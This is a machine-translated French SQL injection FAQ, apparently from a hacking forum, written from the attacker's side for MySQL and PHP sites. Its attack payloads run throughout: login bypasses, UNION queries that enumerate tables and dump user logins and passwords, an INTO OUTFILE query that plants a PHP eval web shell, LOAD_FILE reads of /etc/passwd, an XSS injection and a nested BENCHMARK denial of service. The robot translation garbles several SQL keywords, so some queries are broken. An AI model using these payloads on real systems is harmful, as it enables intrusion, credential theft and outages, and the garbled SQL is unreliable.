This page has been robot translated, sorry for typos if any. Original content here.

SQL Injection [FAQ complète]



  • 0.INTRO
  • 1. COMMENT TROUVER L'INJECTION SQL
  • 2. QUOI ET COMMENT ELLE PEUT ÊTRE RETIRÉE DE CETTE UTILE
  • 3. ET SI IL N'Y A PAS DE CHAMP DE TERRAIN.
  • 4. QUE FAIRE SI QUELQUE CHOSE EST FILTRÉE.
  • 5. FONCTIONS UTILES DANS MYSQL
  • 6. COMMENT PROTÉGER D'INJECTION SQL
  • 7. SUPPLEMENTS


  • 0.INTRO


    Laziv sur Internet à la recherche d'au moins une sorte d'information sur l' injection SQL, vous avez probablement parcouru les articles soit très court, ou non compréhensible, ou éclairant un sujet ou quelque chose d'autre que bien sûr vous n'aimiez pas. Lorsque cela et j'ai recueilli quelque part 10-20 articles sur ce sujet pour se plonger dans la plupart des subtilités de cette vulnérabilité. Et puis se souvenir de ces moments, j'ai décidé d'écrire une FAQ complète sur ce sujet afin que le reste ne souffre pas. Et une autre demande. Ceux qui trouveront que j'ai raté quelque chose, où quelque chose n'allait pas, alors s'il vous plaît écrivez ci-dessous, c'est dur tout de même, gardez tout en tête :) . D'ailleurs c'est mon premier article, s'il te plaît, ne jette pas de tomates et ne te frappe pas les pieds.

    Pas le premier jour d'être emporté par cambriolage, vous savez probablement ce que l' injection SQL est, sinon, je suis cet article pour vous. L'injection SQL sur une injection est le type d'attaque dans lequel l'attaquant modifie la requête d'origine vers la base de données de sorte que lorsque la requête est exécutée, les informations dont elle a besoin à partir de la base de données sont affichées.

    Pour assimiler cet article, il faut:
    a) Avoir un cerveau
    b) Mains droites
    c) Connaissance du langage SQL

    Fondamentalement cet article a été écrit à la fois pour MYSQL + PHP mais il y a quelques exemples avec MSSQL.

    En général, à mon avis, la meilleure façon d'apprendre à travailler correctement avec l' injection SQL n'est pas de lire cet article, mais de le mettre en pratique , par exemple, d'écrire le script vulnérable, ou d'en utiliser un à la toute fin.

    En passant, je vous conseille de lire tout dans une rangée parce que chaque paragraphe a quelque chose d'important pour l'article suivant, etc.

    1. COMMENT TROUVER L'INJECTION SQL

    C'est assez simple. Il est nécessaire d'insérer dans tous les champs, variables, cookies les guillemets doubles et simples.

    1.1 Le second premier

    Commençons avec ce script

    1 . Supposons que la requête d'origine à la base de données ressemble à ceci:
    SELECT * FROM news WHERE id=' 1 '; Maintenant, nous ajoutons le guillemet à la variable "id", comme ceci: si la variable n'est pas filtrée et les messages d'erreur sont inclus, alors quelque chose comme:

    mysql_query (): Vous avez une erreur dans votre syntaxe SQL; consultez le manuel qui correspond à votre version du serveur MySQL pour la bonne syntaxe à utiliser près de '1'

    Puisque dans la requête à la base de données il y aura un guillemet supplémentaire:
    SELECT * FROM news WHERE id=' 1' '; Si le rapport d'erreurs est désactivé, dans ce cas, vous pouvez déterminer la présence de la vulnérabilité comme ceci (Cela ne l'empêcherait pas d'être confondu avec le point 1.4, comme décrit dans le même paragraphe): La requête à la base de données sera comme ceci:
    SELECT * FROM news WHERE id=' 1'; -- '; (Pour ceux qui sont dans le tank "-" ceci est un signe du début du commentaire après qu'il sera jeté, je veux aussi attirer votre attention sur le fait qu'il doit y avoir un espace après (donc il est écrit dans MYSQL). Ainsi, pour MYSQL, la requête reste la même et la même chose est affichée comme pour http: //xxx/news.php? Id = 1
    L'ensemble du point 2 est consacré à quoi faire avec cette vulnérabilité.

    1.2 Le deuxième cas

    En SQL, il y a une instruction LIKE . Il sert à comparer les chaînes. Ici, nous permettons au script d'autorisation d'entrer le login et le mot de passe demande la base de données comme ceci:
    SELECT * FROM utilisateurs O WH login comme 'Admin' AND pass Like '123';

    Même si ce script filtre le guillemet, il reste vulnérable à l'injection. Au lieu du mot de passe, il suffit d'entrer "%" (Pour l'opérateur LIKE, le caractère "%" correspond à n'importe quelle chaîne), puis la requête deviendra
    SELECT * FROM utilisateurs O WH login comme 'Admin' ET passer LIKE '%';

    et nous serons autorisés à l'intérieur avec le login 'Admin'. Dans ce cas, nous avons non seulement trouvé l' injection SQL, mais l'avons également utilisée avec succès.

    1.3 Le troisième cas

    Que faire s'il n'y a pas de vérification de citation dans le même script d'autorisation? Il sera au moins idiot d'utiliser cette injection pour sortir certaines informations. Demandons la base de données sera du type:
    SELECT * FROM utilisateurs WHERE login = 'Admin' AND pass = '123';

    Malheureusement, le mot de passe "123" ne correspond pas :) , mais nous avons trouvé que l'injection est valide dans le paramètre 'login' et que pour s'inscrire sous le surnom 'Admin' nous devons entrer quelque chose comme Admin pour cela '; - c'est-à-dire que la partie avec la vérification du mot de passe est supprimée et nous entrons sous le nom 'Admin'.
    SELECT * FROM utilisateurs WHERE login = ' Admin'; - 'AND pass =' ​​123 ';

    Et maintenant, que faire si la vulnérabilité dans le champ «passer». Nous entrons dans ce champ ce qui suit: 123 'OU login =' Admin '; - . La requête devient:
    SELECT * FROM utilisateurs WHERE login = 'Admin' AND pass = '123' OU login = 'Admin'; - ';

    Que pour une base de données il sera absolument indéterminé à une telle demande:
    SELECT * FROM utilisateurs WHERE (login = 'Admin' AND pass = '123') OU (login = 'Admin');

    Et après ces actions, nous deviendrons un propriétaire complet de l'ACK avec le login 'Admin'.

    1.4 Quatrième cas

    Revenons au script de nouvelles. Du langage SQL, nous devons nous rappeler que les paramètres numériques ne sont pas placés entre guillemets, c'est-à-dire qu'avec un tel appel au script http: //xxx/news.php? Id = 1 la requête à la base de données ressemble à ceci:
    SELECT * FROM nouvelles WHERE id = 1 ;

    Pour détecter cette injection, vous pouvez également remplacer le guillemet dans le paramètre 'id' par le guillemet, puis le même message d'erreur apparaîtra:

    mysql_query (): Vous avez une erreur dans votre syntaxe SQL; consultez le manuel qui correspond à votre version du serveur MySQL pour la bonne syntaxe à utiliser près de '1'

    Si ce message ne vyprigivaet pas, il peut être compris que la citation est filtrée, puis il est nécessaire d'entrer http: //xxx/news.php? Id = 1 bla-bla-bla
    DB ne comprendra pas cela pour bla bla bla et donnera un message d'erreur comme:

    mysql_query (): Vous avez une erreur dans votre syntaxe SQL; 1 bla-bla-bla (1 bla-bla-bla)

    Si le rapport d'erreurs est désactivé, vérifiez ici http: //xxx/news.php? Id = 1; -
    Il devrait apparaître exactement comme http: //xxx/news.php? Id = 1

    Vous pouvez maintenant passer à l'étape 2.

    2. QUOI ET COMMENT ELLE PEUT ÊTRE RETIRÉE DE CETTE UTILE

    Ensuite, nous ne considérerons que le type de vulnérabilité décrit au paragraphe 1.1 A et le modifierons aux autres ne peut être difficile :)

    2.1 L'équipe UNION

    Pour commencer, le plus utile est la commande UNION (qui ne sait pas aller à Google ) ...
    Modifiez l'appel au script http: //xxx/news.php? Id = 1 'UNION SELECT 1 - . La requête à la base de données que nous obtenons est comme ceci:
    SELECT * FROM news OERE id = '1' UNION SELECT 1 - ';


    2.1.1.1 Sélection du nombre de champs (Méthode 1)

    Sans oublier le fait que le nombre de colonnes avant UNION et après devrait être sûr de trouver une erreur (à moins qu'il n'y ait plus d'une colonne dans la table de news) comme:

    mysql_query (): Les instructions SELECT utilisées ont un nombre de colonnes différent

    Dans ce cas, nous devons prendre un certain nombre de colonnes (ce serait leur nombre avant UNION et après matched). Nous le faisons de cette façon:

    http: //xxx/news.php? id = 1 'UNION SELECT 1, 2 -
    Une erreur est survenue " Les instructions SELECT utilisées ont un nombre de colonnes différent "

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3 -
    Encore une erreur.
    ...

    http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3,4,5,6 -
    Oh! Il a été affiché exactement comme http: //xxx/news.php? Id = 1
    signifie que le nombre de champs est sélectionné, c'est-à-dire qu'il y en a 6 ...


    2.1.1.2 Sélection du nombre de champs (Méthode 2)

    Et cette méthode est basée sur la sélection du nombre de champs utilisant GROUP BY . C'est une demande de ce type:

    http: //xxx/news.php? id = 1 'GROUP BY 2 -

    Il sera affiché sans erreur si le nombre de champs est inférieur ou égal à 2.
    Nous faisons une demande de ce type:

    http: //xxx/news.php? id = 1 'GROUP BY 10 -

    Oups ... Il y avait une erreur de type.

    mysql_query (): Colonne inconnue '10' dans 'déclaration de groupe'

    Par conséquent, les colonnes sont inférieures à 10. Divisez 10 par 2. Et faites une requête

    http: //xxx/news.php? id = 1 'GROUP BY 5 -


    Il n'y a pas d'erreur, donc le nombre de colonnes est supérieur ou égal à 5 mais inférieur à 10. Maintenant, prenez la valeur moyenne entre 5 et 10, cela se révèle être comme 7. Faites la requête:

    http: //xxx/news.php? id = 1 'GROUP BY 7 -

    Oh encore une fois, une erreur ... :(

    mysql_query (): Colonne inconnue '7' dans 'déclaration de groupe'

    Donc le nombre est supérieur ou égal à 5 mais inférieur à 7. Eh bien, nous continuons à faire une demande

    http: //xxx/news.php? id = 1 'GROUP BY 6 -

    Il n'y a pas d'erreur ... Donc le nombre est supérieur ou égal à 6 mais inférieur à 7. Il s'ensuit que le nombre de colonnes requis est 6.

    2.1.1.3 Sélection du nombre de champs (Méthode 3)

    Le même principe que dans la clause 2.1.1.2 n'utilise que la fonction ORDER BY . Et le texte de l'erreur change légèrement s'il y a plus de champs.

    mysql_query (): Colonne inconnue '10' dans 'clause de commande'

    2.1.2 Définition des colonnes de sortie

    Je pense que beaucoup d'entre nous juste comme une page comme http: //xxx/news.php? Id = 1 ne fonctionnera pas. Nous devons donc nous assurer que rien n'est affiché sur la première requête (avant UNION ). Le plus simple est de changer "id" de "1" à "-1" (ou à '9999999')
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 - Maintenant, nous en avons un où dans la page devrait être affiché l'un de ces chiffres. (Par exemple, puisqu'il s'agit d'un script de nouvelles conditionnelles, alors dans le "Titre de l'actualité" il sera affiché, disons 3, "Nouvelles" -4 et ainsi de suite). Maintenant, pour obtenir des informations, nous devons remplacer ces numéros dans le script avec les fonctions requises. Si les numéros ne sont affichés nulle part, les alinéas restants de l'article 2.1 peuvent être omis.

    2.1.3 SIXSS (script de site SQL pour l'injection SQL)

    Ce même XSS seulement à travers la requête à la base de données. Exemple:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <script> alert ('SIXSS') </ script> ', 5,6 - Eh bien, je pense qu'il n'est pas difficile de comprendre que 4 dans la page sera remplacé par <script> alert ('SIXSS') </ script> et le XSS sera le même.

    2.1.4 Noms des colonnes / tableaux

    Si vous connaissez les noms des tables et des colonnes dans la base de données, vous pouvez omettre cet élément
    Si vous ne savez pas ... Il y a deux façons.

    2.1.4.1 Noms des colonnes / tables s'il y a accès à INFORMATION_SCHEMA et si la version MYSQL> = 5

    La table INFORMATION_SCHEMA.TABLES contient des informations sur toutes les tables de la base de données, les noms de table TABLE_NAME-table.
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - Cela peut provoquer un problème. Puisque seule la première ligne de la réponse de la base de données sera affichée. Ensuite, nous devons utiliser LIMIT comme ceci:

    Sortie de la première ligne:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMITE 1,1 -

    Sortie de la deuxième ligne:
    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2.1 - etc.

    Eh bien, nous avons trouvé la table des utilisateurs . Seulement ceci ... ah ... les colonnes ne savent pas ... Alors la table INFORMATION_SCHEMA.COLUMNS vient à nous La colonne COLUMN_NAME contient le nom de la colonne dans la table TABLE_NAME . Voici comment nous récupérons les noms de colonnes

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS OERE TABLE_NAME =' LIMITE DES UTILISATEURS 1,1 -

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS OERE TABLE_NAME =' Utilisateurs 'LIMIT 2,1 -
    et ainsi de suite.

    Et maintenant nous avons trouvé les champs login , mot de passe .

    2.1.4.2 Noms des colonnes / tables s'il n'y a pas d'accès à INFORMATION_SCHEMA

    Ceci est une version de trou du cul :( Puis les brutofors habituels entrent en vigueur ... Exemple:

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 FROM Tbl_name -

    Vous devez sélectionner TableName jusqu'à ce que le message d'erreur suivant disparaisse:

    mysql_query (): La table ' Table_name ' n'existe pas

    Eh bien, nous avons apporté à votre bonheur Les utilisateurs ont manqué un message d'erreur, et la page a été affichée comme à http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 - Qu'est-ce que cela signifie ? Cela signifie que la table Utilisateurs existe et que vous devez commencer à trier les colonnes.

    http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, ColumnName , 5,6 FROM Utilisateurs -

    Vous devez sélectionner le ColumnName jusqu'à ce que le message d'erreur suivant disparaisse:

    mysql_query (): Colonne inconnue ' ColumnName ' 'dans' liste des champs '

    Lorsqu'un message d'erreur disparaît, une telle colonne existe.

    Et ainsi, nous avons appris qu'il existe des colonnes de connexion et de mot de passe dans la table Utilisateurs .

    2.1.5 Sortie d'information

    En se référant au script de cette manière http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, login, mot de passe, 5,6 FROM Users LIMIT 1.1 - Affiche le login et le mot de passe du premier utilisateur de la table Utilisateurs

    2.2 Travailler avec des fichiers

    2.2.1 Écrire dans un fichier

    Est-ce que MYSQL est une fonction intéressante de type SELECT ... INTO OUTFILE permettant d'écrire les informations dans un fichier. Soit cette conception SELECT ... INTO DUMPFILE ils sont presque similaires et vous pouvez en utiliser.

    Exemple: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 INTO OUTFILE' 1.txt '; -


    Il y a plusieurs restrictions pour cela.
    • Ne pas écraser les fichiers
    • Nécessite les privilèges FILE
    • (!) Requiert des guillemets réels en spécifiant le nom de fichier

    Mais qu'est-ce qui nous empêcherait de faire le Web? Voici un exemple:

    http: //xxx/news.php? id = -1 'UNION CHOISIR 1,2,3,' <? php eval ($ _ GET ['e'])?> ', 5,6 dans OUTFILE' 1.php '; -

    Il ne reste plus qu'à trouver le chemin complet de la racine du site sur le serveur et le terminer avant 1.php. Vous pouvez trouver une autre erreur sur le rapport, qui montrera le chemin sur le serveur ou le laissera à la racine du serveur et le ramassera avec include local, mais c'est un autre sujet.

    2.2.2 Lecture de fichiers

    Considérez la fonction LOAD_FILE

    Exemple: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6;

    Il y a aussi quelques restrictions pour cela.
    • Le chemin d'accès complet au fichier doit être spécifié.
    • Nécessite les privilèges FILE
    • Le fichier doit résider sur le même serveur
    • La taille de ce fichier doit être inférieure à celle spécifiée dans max_allowed_packet
    • Le fichier doit être ouvert pour être lu par l'utilisateur sous lequel MYSQL est démarré

    Si la fonction ne parvient pas à lire le fichier, elle renvoie NULL.

    2.3 attaque DOS sur le serveur SQL

    Dans la plupart des cas, le serveur SQL est terminé car il ne peut rien faire d'autre. Le type n'a pas appris à connaître les tables / colonnes, il n'y a aucun droit à cela, il n'y a aucun droit à cela, etc. Je suis honnêtement contre cette méthode mais quand même ...

    Plus près du point ...
    La fonction BENCHMARK effectue la même action plusieurs fois.
    SELECT BENCHMARK (100000, md5 (heure_actuelle));

    Autrement dit, ici, cette fonction fait 100000 fois md5 (current_time) que j'ai sur mon ordinateur prend environ 0,7 secondes ... Il semblait qu'il y ait un tel ... Et si vous essayez le BENCHMARK intégré?

    SELECT BENCHMARK (100000, BENCHMARK (100000, md5 (heure_actuelle))));

    Courir pendant très longtemps pour être honnête je n'ai même pas attendu ... j'ai dû faire une réinitialisation :) .
    Exemple Dos dans notre cas:

    http: //xxx/news.php? id = -1 'SÉLECTION D'UNION 1, 2, BENCHMARK (100000, BENCHMARK (100000, md5 (current_time)))), 4, 5, 6; -

    Il suffit de piquer 100 F5 et "le serveur tombera dans un son"))).